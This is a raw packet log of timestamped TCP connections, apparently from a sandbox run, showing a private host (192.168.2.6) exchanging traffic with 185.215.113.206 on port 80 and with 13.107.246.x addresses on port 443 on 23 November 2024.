Nov 23, 2024 21:59:43.069593906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.070260048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.070307016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.070631027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.070673943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.071136951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.071149111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.071182013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.071207047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.071789026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.071830034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.072637081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.072649956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.072660923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.072695017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.072725058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.073390007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.073524952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.074193001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.074207067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.074219942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.074248075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.074278116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.074949980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.074984074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.075233936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.075282097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.075848103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.075882912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.075902939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.075922966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.076523066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.076561928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.076634884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.076668024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.077321053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.077368021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.077382088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.077405930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.077555895 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.077589989 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.077620983 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.077626944 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.077663898 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.078088999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.078130007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.078309059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.078345060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.078928947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.078989983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.079293966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.079348087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.079659939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.079716921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.079852104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.079886913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.080471992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.080498934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.080517054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.080532074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.081245899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.081289053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.081446886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.081484079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.082036018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.082052946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.082078934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.082093000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.082829952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.082904100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.083019018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.083059072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.083586931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.083631039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.083662033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.083693027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.092560053 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.092578888 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.092617989 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.092622995 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.092660904 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.106976986 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.106997967 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.107065916 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.107075930 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.107120037 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.121725082 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.121747971 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.121789932 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.121797085 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.121836901 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.136831045 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.136866093 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.136924982 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.136930943 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.136970997 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.149986982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.150088072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.150134087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.150237083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.150331020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.150377989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.150408030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.150470972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.151135921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.151200056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.151482105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.151520967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.151583910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.151835918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.152215958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.152255058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.152261019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.152287006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.152913094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.152968884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.153110027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.153152943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.153728962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.153776884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.153964043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.154002905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.154500961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.154696941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.154795885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.155133963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.155287981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.155323982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.155364990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.155421972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.156075954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.156121016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.156428099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.156478882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.156827927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.156858921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.156867981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.156896114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.157630920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.157695055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.157852888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.157891035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.158406973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.158442020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.158715010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.158767939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.159209013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.159245968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.159871101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.159986019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.159987926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.160131931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.160170078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.160753965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.160808086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.161452055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.161565065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.161603928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.162359953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.162372112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.162384033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.162404060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.162421942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.163108110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.163193941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.163258076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.163295031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.163927078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.163938046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.163983107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.164647102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.164695978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.165095091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.165152073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.165446997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.165497065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.165508986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.165587902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.166237116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.166301012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.166526079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.166563034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.167018890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.167087078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.167327881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.167367935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.167797089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.167844057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.168128967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.168189049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.168622971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.168673038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.168724060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.168771029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.169388056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.169439077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.169612885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.169708967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.170150995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.170207024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.243681908 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.243712902 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.243762970 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.243778944 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.243819952 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.254762888 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.254785061 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.254828930 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.254837036 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.254870892 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.254887104 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.262660980 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.262681007 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.262764931 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.262773037 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.262814045 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.267398119 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.267465115 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.267472029 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.267498970 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.267512083 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.267529964 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.267568111 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.270230055 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.270246029 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.274142981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.274288893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.274350882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.274523020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.274619102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.274662018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.275378942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.275500059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.275543928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.276082039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.276155949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.276200056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.276943922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.277147055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.277192116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.277605057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.277663946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.277765036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.277803898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.278431892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.278467894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.278584003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.278837919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.279208899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.279320955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.279382944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.279428959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.279990911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.280028105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.280172110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.280205965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.280776978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.280927896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.280927896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.280968904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.281584024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.281639099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.281704903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.281738043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.282401085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.282466888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.282712936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.282788992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.283137083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.283175945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.283297062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.283530951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.283948898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.283984900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.284015894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.284049034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.284733057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.284744024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.284769058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.284787893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.285440922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.285489082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.285619974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.285664082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.286277056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.286369085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.286463976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.286498070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.287141085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.287211895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.287250042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.287818909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.287857056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.288038969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.288108110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.288604975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.288659096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.288778067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.288815022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.289428949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.289608002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.289623976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.289746046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.290157080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.290208101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.290417910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.290509939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.290975094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.291018009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.291093111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.291127920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.293092966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.293127060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.293139935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.293145895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.293164968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.293179989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.293287039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.293325901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.293391943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.293462038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.293689013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.293736935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.294106960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.294157028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.294217110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.294255018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.360642910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.360707998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.360763073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.360852957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.360991001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.361036062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.402996063 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.403021097 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.403191090 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.404797077 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.404815912 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.464617968 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.465660095 CET	49872	443	192.168.2.6	13.107.246.63
